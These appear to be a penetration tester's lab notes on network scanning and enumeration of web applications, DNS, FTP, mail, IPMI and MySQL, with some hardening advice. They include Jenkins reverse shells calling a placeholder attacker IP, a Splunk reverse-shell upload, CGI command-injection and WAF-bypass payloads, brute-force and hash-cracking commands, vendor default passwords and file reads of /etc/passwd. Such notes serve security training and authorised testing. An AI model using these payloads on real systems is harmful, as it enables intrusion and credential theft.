NOTE: sometimes ARP caches are delayed or not built… so running a ping sweep 2x is helpful
# NIX for i in {1..254} ; do (ping -c1 <TARGET_SUBNET>.$i | grep "bytes from" &) ; done # WIN: DOS # !!! LEAVE OFF LAST OCTET !!! for /L %i in (1 1 254) do ping <TARGET_SUBNET>.%i -n 1 -w 100 | find "Reply" # Win: PowerShell # !!! LEAVE OFF LAST OCTET !!! 1..254 | % { $ip="<TARGET_SUBNET>.$_"; if ((New-Object System.Net.NetworkInformation.Ping).Send($ip, 100).Status -eq "Success") { "$($ip): True" } } # Metasploit run post/multi/gather/ping_sweep RHOSTS=<TARGET_SUBNET>See more about… Nmap
Source: Docs > 9 - Notes > nmap
nmapgrep: https://github.com/leonjza/awesome-nmap-grep
Scanning
Open- received TCP SYN-ACKClosed- received TCP RSTFiltered- no responseUnfiltered- (with-sATCP ACK scans) can’t determine the state, but the port is accessibleOpen/Filtered- can’t tell if the port is open or blocked by a firewallClosed/Filtered- (with-sIIP ID idle scan) can’t tell if the port is closed or blocked by a firewall
# Host Discovery sudo nmap --open -oA host_discovery_simple.txt -iL scope.txt # NOTE: this is optimized for labs: # -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1 sudo nmap -n -sn -v --stats-every 30s -PS445,80,443,3389,135,5985,22,8080,111 -oA host_discovery.txt -iL scope.txt -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1 --- awk '/Up$/{print $2}' host_discovery.txt > live_hosts.txtFor “ghost hosts” consider:
-PU137,138,161,53,67,123,500,4500to scan UDP (though very slow)- TCP Full-Scan (3-way handshake): https://github.com/bee-san/RustScan
- TCP Half-Scan (SYN): https://github.com/robertdavidgraham/masscan
# All ports (TCP Full Scan) rustscan -a live_hosts.txt --ulimit 5000 -- -sC -sV -v --stats-every 30s -oA nmap_rustscan_all_ports # Massive network (SYN Half Scan) sudo masscan --rate 1000 -p1-65535 -iL live_hosts.txt -oL masscan.txt -e <INTERFACE> PORTS=$(awk '/open/ {print $3}' masscan.txt | sort -u | paste -sd, -) sudo nmap --stats-every 30s -sS -sV -sC -v -p$PORTS -oA nmap_masscan_all_ports <TARGET># UDP sudo nmap -sU -sV --top-ports 100 -v -oA nmap_top100_udp <TARGET># Find Live Hosts sudo nmap -n -sn --reason -oA host_disc <TARGET> # Create list grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt # Scan normally w/ list sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt # Trace packet (MORE INFO) sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET> # TCP Full-Connect (3-way handshake) sudo nmap -n -Pn -sT -sV -sC --reason <TARGET> # UDP (normally no response) sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET> # Create HTML reports from nmap XML scan # https://nmap.org/book/output.html xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html # SPAM: scan using multiple IP addresses sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET> # --max-retries <ATTEMPTS> # -T <AGGRESSION_1_5> # --packet-trace # --reason # --disable-arp-ping # --top-ports=<NUM> # --script <SCRIPT> # -g <SRC_PORT> # --dns-server <NAMESERVER>Static
nmapA static
nmapwill not be able to perform-sC/--scriptnor-sVand there might be some issues with-OOS detection.-sT,-sS(root), and-sVshould be finewget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nmap <USER>@<TARGET>:/tmp/ chmod +x nmap ./nmap -n -Pn -sT --stats-every 15s -vvv <TARGET_SUBNET>Nmap Scripting Engine (NSE)
The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.
Reference: NSE Usage Guide
How to Use NSE
Basic Usage:
-sC- Run a set of popular, common scripts--script- Run specific scripts by name, category, or file path--script-help- Show arguments for--script-args
Advanced Usage:
- Combine scripts with wildcards:
--script "smb-*,http-*" - Use comprehensive documentation: NSE Script Database
- Search for scripts:
grep "ftp" /usr/share/nmap/scripts/script.db
# --script-trace : trace script scans nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>Script Categories
Location:
/usr/share/nmap/scriptsCategory Description authScripts related to authentication, such as bypassing credentials or checking for default ones. broadcastUsed to discover hosts on the local network by broadcasting requests. bruteScripts that perform brute-force attacks to guess passwords or credentials. defaultThe core set of scripts that are run automatically with -sCor-A.discoveryActively gathers more information about a network, often using public registries or protocols like SNMP. dosTests for vulnerabilities that could lead to a denial-of-service attack. exploitActively attempts to exploit known vulnerabilities on a target system. externalInteracts with external services or databases. fuzzerSends unexpected or randomized data to a service to find bugs or vulnerabilities. intrusiveThese scripts can be noisy, resource-intensive, or potentially crash the target system. malwareScans for known malware or backdoors on a target host. safeScripts that are considered safe to run as they are not designed to crash services, use excessive resources, or exploit vulnerabilities. versionExtends the functionality of Nmap’s version detection feature. vulnChecks a target for specific, known vulnerabilities. Install New NSE Script
sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \ https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse nmap --script-updatedbCommon Web Applications
The following sections will detail how to enumerate various web appliations, which could lead to exploitation and access.
EyeWitness
For quick web application discovery.
# https://github.com/RedSiege/EyeWitness git clone https://github.com/RedSiege/EyeWitness.git && cd EyeWitness/setup # cmake is already a part of build-essential sed -i 's/cmake//gI' ./setup.sh sudo ./setup.sh cd .. source eyewitness-venv/bin/activate # SCAN using nmap XML results output mkdir ../scan_eyewitness python Python/EyeWitness.py --web -x ../scan_nmap_disc_all_ports.xml -d ../scan_eyewitnessWordpress
- WPScan: https://github.com/wpscanteam/wpscan
- API for Vuln DB (free use requires token): https://wpscan.com/api/
WPScan is great, but manual enumeration can also uncover more information sometimes (e.g. certain plugins)
/robots.txt
User-agent: * Disallow: /wp-admin/ Allow: /wp-admin/admin-ajax.php Disallow: /wp-content/uploads/wpforms/ Sitemap: https://inlanefreight.local/wp-sitemap.xmlFolders
/wp-admin/wp-contentplugins: often a source of vulnerabilitiesthemes: same- scanning for
readme.txtunder these folders can find hidden resources
wp-login.php
Users
- Administrator: can add and delete users and posts, as well as editing source code
- leads to RCE!
- Editor: can publish and manage all posts
- Author: can publish and manage their own posts
- Contributor: can write and manage their own posts but not publish
- Subscriber: can browse posts and edit their profiles
Page Source
curl -so- '<TARGET>/robots.txt' curl -s <TARGET> | grep -i -e WordPress -e themes -e pluginsWPScan
- API Token: https://wpscan.com/profile/
# Generic enumeration sudo wpscan -t 20 --api-token <API_TOKEN> --url <TARGET> --enumerate # Enumerate all plugins sudo wpscan -t 20 --api-token <API_TOKEN> --url <TARGET> --enumerate ap # Login brute-force sudo wpscan -t 20 --url <TARGET> --password-attack xmlrpc -U <USER> -P /usr/share/wordlists/rockyou.txtJoomla
/robots.txt
... User-agent: * Disallow: /administrator/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/Page Source
curl -s <TARGET>/README.txt curl -s <TARGET>/administrator/manifests/files/joomla.xml | xmllint --format - curl -s <TARGET> | grep -i JoomlaScanning
pip3 install droopescan droopescan scan joomla --url <TARGET>Drupal
Users:
Administrator: has complete control over the Drupal website.Authenticated User: can log in to the website and perform operations such as adding and editing articles based on their permissions.Anonymous: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.
Page Source
curl -s <TARGET> | grep -i Drupal # Version (older Drupals only) curl -s <TARGET> | grep -m2 ""Scanning
pip3 install droopescan droopescan scan drupal --url <TARGET>Tomcat
webapps/conf/tomcat-users.xml: users and creds for management web server managerwebapps/manager/WEB-INF/web.xml: deployment descriptor of the server page routes and classeswebapps/manager/WEB-INF/classes/: contains specific logic and probably sensitive information
Apache Jserv and Tomcat
sudo nmap -sV -p 8009,8080 <TARGET>Page Source
curl -s <TARGET>/invalid | grep Tomcat curl -s <TARGET>/docs/ | grep TomcatFind Web Manager Pages
/managerorhost-managerferoxbuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u <TARGET>Brute-Force Web Manager
msfconsole use auxiliary/scanner/http/tomcat_mgr_login set rhosts <TARGET> set VHOST <FQDN> set RPORT <PORT> set stop_on_success true runJenkins
Attach Slave Servers and Tomcat
sudo nmap -sV -p 5000,8080 <TARGET>Script Console
Linux
# Execute System Command def cmd = '<COMMAND>' def sout = new StringBuffer(), serr = new StringBuffer() def proc = cmd.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println soutnc -lvnp <PORT> # Reverse Shell Callback r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ATTACKER_IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()Windows
nc -lvnp <PORT> # Reverse Shell Callback String host="<ATTACKER_IP>"; int port=<PORT>; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();Splunk
Weak or null authentication are the most likely vectors
Splunk WebApp
sudo nmap -sV -p 8000,8089 <TARGET>Uploading Callback Shell
<TARGET>/en-US/app/launcher/home # Splunk Reverse Shell git clone https://github.com/0xjpuff/reverse_shell_splunk.git cd reverse_shell_splunk/reverse_shell_splunk/ # !!! UPDATE !!! # Change 'attacker_ip_here' and attacker_port_here in the respective script(s) cd .. tar -cvzf updater.tar.gz reverse_shell_splunk/ nc -lvnp 8443 # NOTE: uploading the app, causes it run immediately; ensure `nc` is running # From <TARGET>/en-US/manager/search/apps/local > Install app from filePRTG Network Monitor
PRTG WebApp
sudo nmap -sV -p 80,443,8080 <TARGET>curl -s <TARGET> | grep -i VersionosTicket
For some public facing services, one can acquire a valid, internal email by submitting a ticket, though this might require email activation.
Gitlab
CGI
- Check in:
cgicgi-bin
# Overall (though a bit blunt) feroxbuster -w /usr/share/seclists/Discovery/Web-Content/LEGACY-SERVICES/CGIs/CGIs.txt -u 'http://<TARGET>/' # Windows feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "bat,cmd,exe,vbs,cgi" -u 'http://<TARGET>/cgi/' feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "bat,cmd,exe,vbs,cgi" -u 'http://<TARGET>/cgi-bin/' # Linux feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "sh,cgi,pl,py" -u "http://<TARGET>/cgi/" feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "sh,cgi,pl,py" -u "http://<TARGET>/cgi-bin/"NOTE: any command injection might require URL-encoding of the commands though this can be avoided with
curl’s option--data-urlencode# CONFIRM curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& dir' curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& C:\windows\system32\ipconfig.exe' # File reads ("TACOMAN" is stripped out therefore arbitrary) curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& C:\Windows\System32\find.exe /V "TACOMAN" <FILE>'Remember certain commands like
typeordirare internal DOS commands and do not exist as a.exefile.ColdFusion
- on
TCP/8500has the following directories:CFIDEcfdocs
CF Stack
# Mail, HTTP, HTTPS, RPC, Server Monitor, SSL sudo nmap -sV -p 25,80,443,1935,5500,8500 <TARGET>IIS
# HTTP, HTTPS, MSSQL, WinRM, WinRM Secure, Alt Port, Alt Port, Web Deploy sudo nmap -sV -p 80,443,1433,5985,5986,8000,8080,8172 <TARGET>LDAP
sudo nmap -sV -p 389,636 <TARGET>Harderning
Application Hardening Category Discussion WordPress Security monitoring Use a security plugin such as WordFence which includes security monitoring, blocking of suspicious activity, country blocking, two-factor authentication, and more Joomla Access controls A plugin such as AdminExile can be used to require a secret key to log in to the Joomla admin page such as http://joomla.inlanefreight.local/administrator?thisismysecretkeyDrupal Access controls Disable, hide, or move the admin login page Tomcat Access controls Limit access to the Tomcat Manager and Host-Manager applications to only localhost. If these must be exposed externally, enforce IP whitelisting and set a very strong password and non-standard username. Jenkins Access controls Configure permissions using the Matrix Authorization Strategy plugin Splunk Regular updates Make sure to change the default password and ensure that Splunk is properly licensed to enforce authentication PRTG Network Monitor Secure authentication Make sure to stay up-to-date and change the default PRTG password osTicket Access controls Limit access from the internet if possible GitLab Secure authentication Enforce sign-up restrictions such as requiring admin approval for new sign-ups, configuring allowed and denied domains DNS
UDP 53: normal name queriesTCP 53: zone transfers and syncs- Server Config (Bind9)
/etc/bind/named.conf.local/etc/bind/named.conf.options/etc/bind/named.conf.log- https://wiki.debian.org/BIND9
- https://web.archive.org/web/20250329174745/https://securitytrails.com/blog/most-popular-types-dns-attacks
- Domain Takeover: https://github.com/EdOverflow/can-i-take-over-xyz
See more about… DNS
Source: Docs > 2 - Pre-Engagement > checklist#dns
DNS
- 1. Server Recon & Zone Transfer (Identify Nameservers, Bind version, and attempt
dig axfrordig anyfor a full dump) - 2. Record Enumeration (Query standard types A, MX, TXT, SRV, and run Reverse DNS/PTR against IP ranges)
- 3. Subdomain Discovery (Combine passive cert transparency logs via
crt.shwith active bruteforcing viagobuster/puredns) - 4. Vulnerability Analysis (Check for dangling CNAMEs for Domain Takeover, and monitor LLMNR/NBT-NS if internal)
Dangerous Settings
Option Description allow-queryDefines which hosts are allowed to send requests to the DNS server. allow-recursionDefines which hosts are allowed to send recursive requests to the DNS server. allow-transferDefines which hosts are allowed to receive zone transfers from the DNS server. zone-statisticsCollects statistical data of zones. # Add subdomains or vHosts echo '<IP_ADDR> <DOMAIN>' | sudo tee -a /etc/hosts# Registrar Info whois <DOMAIN> | whois.txt # Query Nameserver for domain dig @<DNS_SERVER> ns <DOMAIN> # PTR Record or Reverse DNS Query dig @<DNS_SERVER> -x <IP_ADDRESS> # OLD: version / all records / zone transfer dig @<DNS_SERVER> CH TXT version.bind <DOMAIN> dig @<DNS_SERVER> ANY <DOMAIN> dig @<DNS_SERVER> AXFR <DOMAIN> # --- Record Types --- # ANY: return all records -- sometimes doesnt work! # A: IPv4 address # AAAA: IPv6 address # CNAME: Canonical Name # MX: Mail Servers # NS: Name Servers # PTR: Pointer Record # SOA: Start of Authority # TXT: Text Records # SRV: Service Records # CAA: Certification Authority Authorization for type in A AAAA CNAME MX NS SOA SRV TXT CAA; do echo -e "\n--- $type ---"; dig @<DNS_SERVER> +short $type <DOMAIN>; done # PASSIVE: subdomain enum # NOTE: requires API keys subfinder -v -d <DOMAIN> # ACTIVE: subdomain enum (quick, external) puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt <DOMAIN> # ACTIVE: subdomain enum (slower, internal) # /usr/share/SecLists/Discovery/DNS/namelist.txt gobuster dns --threads 64 --output gobuster_dns_top110000 --quiet -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --resolver <DNS_SERVER> --domain <DOMAIN>π Subdomains
- Certificate Transparency: https://crt.sh/
- https://domain.glass/
- (PAID) https://buckets.grayhatwarfare.com/
# Domain => Subdomains via Cert Registry curl -s "https://crt.sh/?q=<DOMAIN>&output=json" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u | tee subdomainlist.txt # Full Info for i in $(cat subdomainlist.txt) ; do host $i | tee -a hostinfo.txt ; done # (IPv4) Domain Name => IP Address for i in $(cat subdomainlist.txt) ; do host $i | grep "has address" | cut -d" " -f1,4 | tee -a domain_ipaddress.txt ; done # (IPv4) Addresses Only for i in $(cat domain_ipaddress.txt) ; do host $i | grep "has address" | cut -d" " -f4 | tee -a ip-addresses.txt ; done # (IPv4) Addresses => Services via Shodan for i in $(cat ip-addresses.txt) ; do shodan host $i ; done # DNS: old technique dig any <DOMAIN> # Content Search: google.com Dork inurl:<DOMAIN> intext:<TERM>LLMNR & NBT-NS
UDP 5355: LLMNR (modern)UDP 137: NBT-NS (ancient)
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that used as failover protocols when DNS is unavailable.
On a Windows, the box will attempt to resolve a hostname in this order:
- Checks Local HOSTS file.
- Checks DNS Cache / DNS Server.
- (If DNS Fails): Sends LLMNR Multicast.
- (If LLMNR Fails): Sends NBT-NS Broadcast.
Remediation
Typically, disabling LLMNR and NBT-NS can cautiously used (to ensure no breakages) at the network or host-level.
Disable LLMNR by:
- Group Policy –>
- Computer Configuration –>
- Administrative Templates –>
- Network –>
- DNS Client
- Enable “Turn OFF Multicast Name Resolution”
Disable NBT-NS (locally only on each host or via GPO w/ PowerShell):
- Network and Sharing Center –>
- Control Panel –>
- Change adapter settings
- Right-clicking on the adapter –> properties –>
- Selecting Internet Protocol Version 4 (TCP/IPv4) –> Properties –> Advanced –> selecting the WINS tab
- Select “Disable NetBIOS over TCP/IP”
FTP
TCP 20: data transfer- Active: Client->Server
- Passive: Server->Client
TCP 21: control channelServer Config:
/etc/vsftpd.confDISALLOWED FTP users:
/etc/ftpusersServer Return Codes: https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes
**TFTP has no auth and uses only UDP.
Dangerous Settings
Setting Description anonymous_enable=YESAllowing anonymous login? anon_upload_enable=YESAllowing anonymous to upload files? anon_mkdir_write_enable=YESAllowing anonymous to create new directories? no_anon_password=YESDo not ask anonymous for password? anon_root=/home/username/ftpDirectory for anonymous. write_enable=YESAllow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE? # Connect to FTP server in passive mode with anonymous login ftp -p ftp://<USER>:<PASS>@<TARGET> passive # lftp equivalents lftp ftp://<USER>:<PASS>@<TARGET> set ftp:passive-mode off # Execute local commands (outside of session) !<COMMAND> # List files and directories ls -la ls -laR # Read file get <FILENAME> - # Download file get <FILENAME> # Upload file put <FILENAME> # Download all files mirror . # Download ALL files mkdir ftp_files && cd ftp_files wget -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET>HTTP
TCP 80: HTTP unencryptedTCP 443: HTTPS encryptedPORT(Web is oftentimes on other ports, especially internal proxies or admin pages on8080or8433)
See more about… Web
Source: Docs > 2 - Pre-Engagement > checklist#web
Web
- 1. Technology & Security Fingerprinting (Use
whatwebandniktoto identify the server, frameworks, and WAF, andcurlto inspect headers and robots.txt) - 2. Content & vHost Discovery (Run
feroxbusterorgobuster dirto bruteforce directories/files, andgobuster vhostto find hidden virtual hosts) - 3. Automated Vulnerability Scanning (Use
niktoorwapitito scan for common misconfigurations and known vulnerabilities like outdated software) - 4. Manual Application Testing (OWASP Top 10) (After automated scans, manually inspect the application for logical flaws, focusing on Injection, Broken Access Control, and XSS)
- OWASP Top 10:
- HTTP Codes:
- Web Page Scanner:
/.well-known/URIs:- User-Agent: https://useragents.io/explore
- Default Web Roots:
# HTTP Headers + robots.txt curl -skLI -o curl_http_headers.txt http://<TARGET> curl -skL -o curl_robots.txt http://<TARGET>/robots.txt --- # Checks for WAF (wbapp firewall) wafw00f <TARGET> # Enum web server + version + OS + frameworks + libraries whatweb --aggression 3 http://<TARGET> --log-brief=whatweb_scan.txt # Fingerprint web server nikto -o nikto_fingerprint_scan.txt -Tuning b -h http://<TARGET> # Enum web server vulns nikto -o nikto_vuln_scan.txt -h http://<TARGET> # Enum web app logic & vulns wapiti -f txt -o wapiti_scan.txt --url http://<TARGET> # Webpage Crawler pip3 install --break-system-packages scrapy wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip && unzip ReconSpider.zip python3 ReconSpider.py <URL> && cat results.json # !!! CHECK "results.json" !!!See more about… vHost Brute-Force
Source: Docs > 9 - Notes > ffuf#vhost-brute-force
vHost Brute-Force
Just changes HTTP header
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H 'Host: FUZZ.<DOMAIN>' -u http://<TARGET>/ -fs <SIZE> # Add NEW vHosts to automatically resolve them later echo '<IP_ADDR> <VHOST>.<FQDN>' | sudo tee -a /etc/hostsDirectory Brute-Forcing
# OTHER LARGER DIR LIST /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt # Directory Bruteforce feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_common --scan-dir-listings -u http://<TARGET> # Bruteforce File Extensions (-x) feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_extensions --scan-dir-listings -x php,html,txt,bak,zip -u http://<TARGET> --- # AUTOMATED Recon git clone https://github.com/thewhiteh4t/FinalRecon.git cd FinalRecon chmod +x ./finalrecon.py python3 -m venv venv source venv/bin/activate pip3 install -r requirements.txt ./finalrecon.py -nb -r -cd final_recon_scan -w /usr/share/wordlists/dirb/common.txt --headers --crawl --ps --dns --sub --dir --url http://<URL>TODO: cull down AI slop below
URL Encoding
# 1. Curl Auto-Encoding (GET Requests) # -G converts --data into a GET query string. --data-urlencode handles the special chars. curl -G -i "http://<TARGET>/cgi/welcome.bat" --data-urlencode "cmd=C:\windows\system32\whoami.exe & id" # 2. Python One-Liner (For generating payloads for Burp/Browser) python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" 'cat /etc/passwd & id' # 3. The "Slicker Way" (Add this to your ~/.zshrc or ~/.bashrc) alias urlencode='python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))"' # Usage: urlencode "payload&goes=here"URL Encoding (Percent-Encoding) is not an obfuscation technique; it is a mechanical requirement of the HTTP protocol. You must encode characters to stop the Web Server from confusing your Payload Data with HTTP Syntax.
Character HTTP Syntax Meaning Why it breaks exploits if unencoded &Parameter Separator Server splits your payload. ?cmd=id & whoamibecomes Param 1:cmd=id, Param 2:whoami.#URL Fragment Browser stops sending data after #. The backend never sees it.+/Space Raw spaces break the HTTP header structure ( GET /page HTTP/1.1).?Query String Start Truncates or confuses path traversal payloads. The CGI / Command Injection Rule: When exploiting CGI scripts (
.sh,.bat,.cgi), the web server unwraps the URL and hands the raw string directly to the OS shell (/bin/bashorcmd.exe). If you do not URL-encode your shell operators (&,|,;), the web server strips them out during the HTTP parsing phase, and the OS shell never executes them.- Double Encoding (WAF Bypass): If a WAF blocks
%5C(\), encode the%symbol itself (%=%25). The payload becomes%255C. The WAF sees%255C(Allowed), passes it to the backend, which decodes it once to%5C, and the application decodes it again to\. - Space Variants:
- In the URL Path (
GET /path%20here), use%20. - In the Query String / Body (
?cmd=id+whoami),+is historically interpreted as a space (application/x-www-form-urlencoded), but%20is universally safer to avoid parsing desyncs. Default to%20.
- In the URL Path (
IMAP/POP3
TCP 143/993: IMAP unc/encTCP 110/995: POP3 unc/enc
Dangerous Settings
Setting Description auth_debugEnables all authentication debug logging. auth_debug_passwordsThis setting adjusts log verbosity, the submitted passwords, and the scheme gets logged. auth_verboseLogs unsuccessful authentication attempts and their reasons. auth_verbose_passwordsPasswords used for authentication are logged and can also be truncated. auth_anonymous_usernameThis specifies the username to be used when logging in with the ANONYMOUS SASL mechanism. # Enumerate sudo nmap -n -Pn -sV -sC -p25,110,143,465,587,993,995 <TARGET> ### Non-Interactive # IMAPS curl -vkL --user '<USER>':'<PASSWORD>' 'imaps://<TARGET>' -X <COMMAND> # POP3S curl -vkL --user '<USER>':'<PASSWORD>' 'pop3s://<TARGET>' -X <COMMAND> ### Interactive # IMAPS openssl s_client -connect <TARGET>:imaps 1 LOGIN <USERNAME> <PASSWORD> 1 LIST "" * # Lists all directories 1 SELECT "<MAILBOX>" # Selects a mailbox 1 UNSELECT "<MAILBOX>" # Exits the selected mailbox 1 FETCH <ID> all # Metadata of email 1 FETCH 1:* (BODY[]) # Show all emails 1 CREATE "INBOX" # Creates a mailbox with a specified name 1 DELETE "INBOX" # Deletes a mailbox 1 RENAME "ToRead" "Important" # Renames a mailbox 1 LSUB "" * # Returns a subset of names from the set of names that the User has declared as being active or subscribed 1 CLOSE # Removes all messages with the Deleted flag set 1 LOGOUT # Closes the connection # POP3s openssl s_client -connect <TARGET>:pop3s USER <USERNAME> PASS <PASSWORD> STAT # List num of saved emails from the server. LIST # List number and size of all emails. RETR <ID> # Deliver the requested email by ID. DELE <ID> # Delete the requested email by ID. CAPA # Display the server capabilities. RSET # Reset the transmitted information. QUIT # Close connectionIPMI
UDP 623: normal- Default Passwords:
- Dell iDRAC:
root:calvin - HP iLO:
Administrator:[randomized 8-character string consisting of numbers and uppercase letters] - Supermicro IPMI:
ADMIN:ADMIN
- Dell iDRAC:
A hardware control protocol that gives “virtual” physical access to a machine.
Dangerous Settings
- Server sends the salted hash of the user’s password to the user before authentication
### Enumeration via nmap sudo nmap -sU -p623 --script ipmi-version ### Metasploit Scanner setg RHOSTS <TARGET> # https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_version/ use auxiliary/scanner/ipmi/ipmi_version run # https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes/ use auxiliary/scanner/ipmi/ipmi_dumphashes run ### Crack HP iLO format # https://hashcat.net/wiki/doku.php?id=example_hashes hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txtMySQL
TCP 3306: normal- Server Config:
/etc/mysql/mysql.conf.d/mysqld.cnf
- default system schemas/databases:
mysql- is the system database that contains tables that store information required by the MySQL serverinformation_schema- provides access to database metadataperformance_schema- is a feature for monitoring MySQL Server execution at a low levelsys- a set of objects that helps DBAs and developers interpret data collected by the Performance Schema
secure_file_privmay be set as follows:- If empty, the variable has no effect, which is not a secure setting.
- If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
- If set to NULL, the server disables import and export operations
- System Schema: https://dev.mysql.com/doc/refman/8.0/en/system-schema.html#:~:text=The%20mysql%20schema%20is%20the,used%20for%20other%20operational%20purposes
- Logical Operators: https://mariadb.com/docs/server/reference/sql-structure/operators/operator-precedence
- Cheatsheet: https://devhints.io/mysql
Database > Schema > Table > Column > Value
Dangerous Settings
Settings Description userSets which user the MySQL service will run as. passwordSets the password for the MySQL user. admin_addressThe IP address on which to listen for TCP/IP connections on the administrative network interface. debugThis variable indicates the current debugging settings sql_warningsThis variable controls whether single-row INSERT statements produce an information string if warnings occur. secure_file_privThis variable is used to limit the effect of data import and export operations. # Login # - try "root" mysql -u <USER> -h <TARGET> mysql -u <USER> --password=<PASSWORD> -P <PORT> -h <TARGET>sqlmap’s query data has a lot of good example commands for enumeration:-- Show Version SELECT @@version ; SELECT version() ; -- Show User SELECT USER() SELECT CURRENT_USER() SELECT user from mysql.user SHOW databases ; SHOW grants ; -- Show if user is privileged SELECT super_priv FROM mysql.user SELECT super_priv FROM mysql.user WHERE user="root" -- Show user permissions SELECT grantee,privilege_type FROM information_schema.user_privileges SELECT grantee,privilege_type FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'" -- look for interesting perms like "FILE" to read/write files -- Tables and metadata USE sys ; SELECT host,unique_users FROM sys.host_summary ; USE <DATABASE> ; SHOW tables ; DESCRIBE <TABLE> ; -- Write data INSERT INTO <TABLE> VALUES (<COL1_VAL>, <COL2_VAL>, <COL3_VAL>, ...); -- Get data SELECT * FROM <TABLE> WHERE <COLUMN> = "<VALUE>" ; # WHERE x LIKE "%blah%" ; SELECT * FROM <TABLE> WHERE <COLUMN> LIKE "%<VALUE>%" ORDER BY <COLUMN> ASC|DESC LIMIT <NUM> ; -- Example COUNT SELECT COUNT(*) FROM <TABLE> WHERE <COLUMN1> > 10000 OR <COLUMN2> NOT LIKE '%<KEYWORD>%' ;Enumeration
MySQL
These commands are specific though not necessarily exclusive to MySQL
Payload When to Use Expected Output Wrong Output SELECT @@versionWhen we have full query output MySQL Version ‘i.e. 10.3.22-MariaDB-1ubuntu1’In MSSQL it returns MSSQL version. Error with other DBMS. SELECT POW(1,1)When we only have numeric output 1Error with other DBMS SELECT SLEEP(5)Blind/No Output Delays page response for 5 seconds and returns 0.Will not delay response with other DBMS - https://dev.mysql.com/doc/refman/8.0/en/information-schema-introduction.html
- https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html
- Default (built-in) databases:
information_schemaperformance_datamysql
# Show currently used database (if inside a query) SHOW database() USE information_schema ; # metadata # Get database names SELECT schema_name FROM information_schema.schemata ; # Show tables SELECT table_name,table_schema FROM information_schema.tables where table_schema='<DATABASE>' ; # Get columns select COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='<TABLE>' ; # Finally read values SELECT <COLUMN> FROM <DATABASE>.<TABLE> ;Read Files
-- Read Files SELECT LOAD_FILE("/etc/passwd") ;Write Files
- User with
FILEprivilege enabled - MySQL global
secure_file_privvariable not enabled - Write access to the location we want to write to on the back-end server
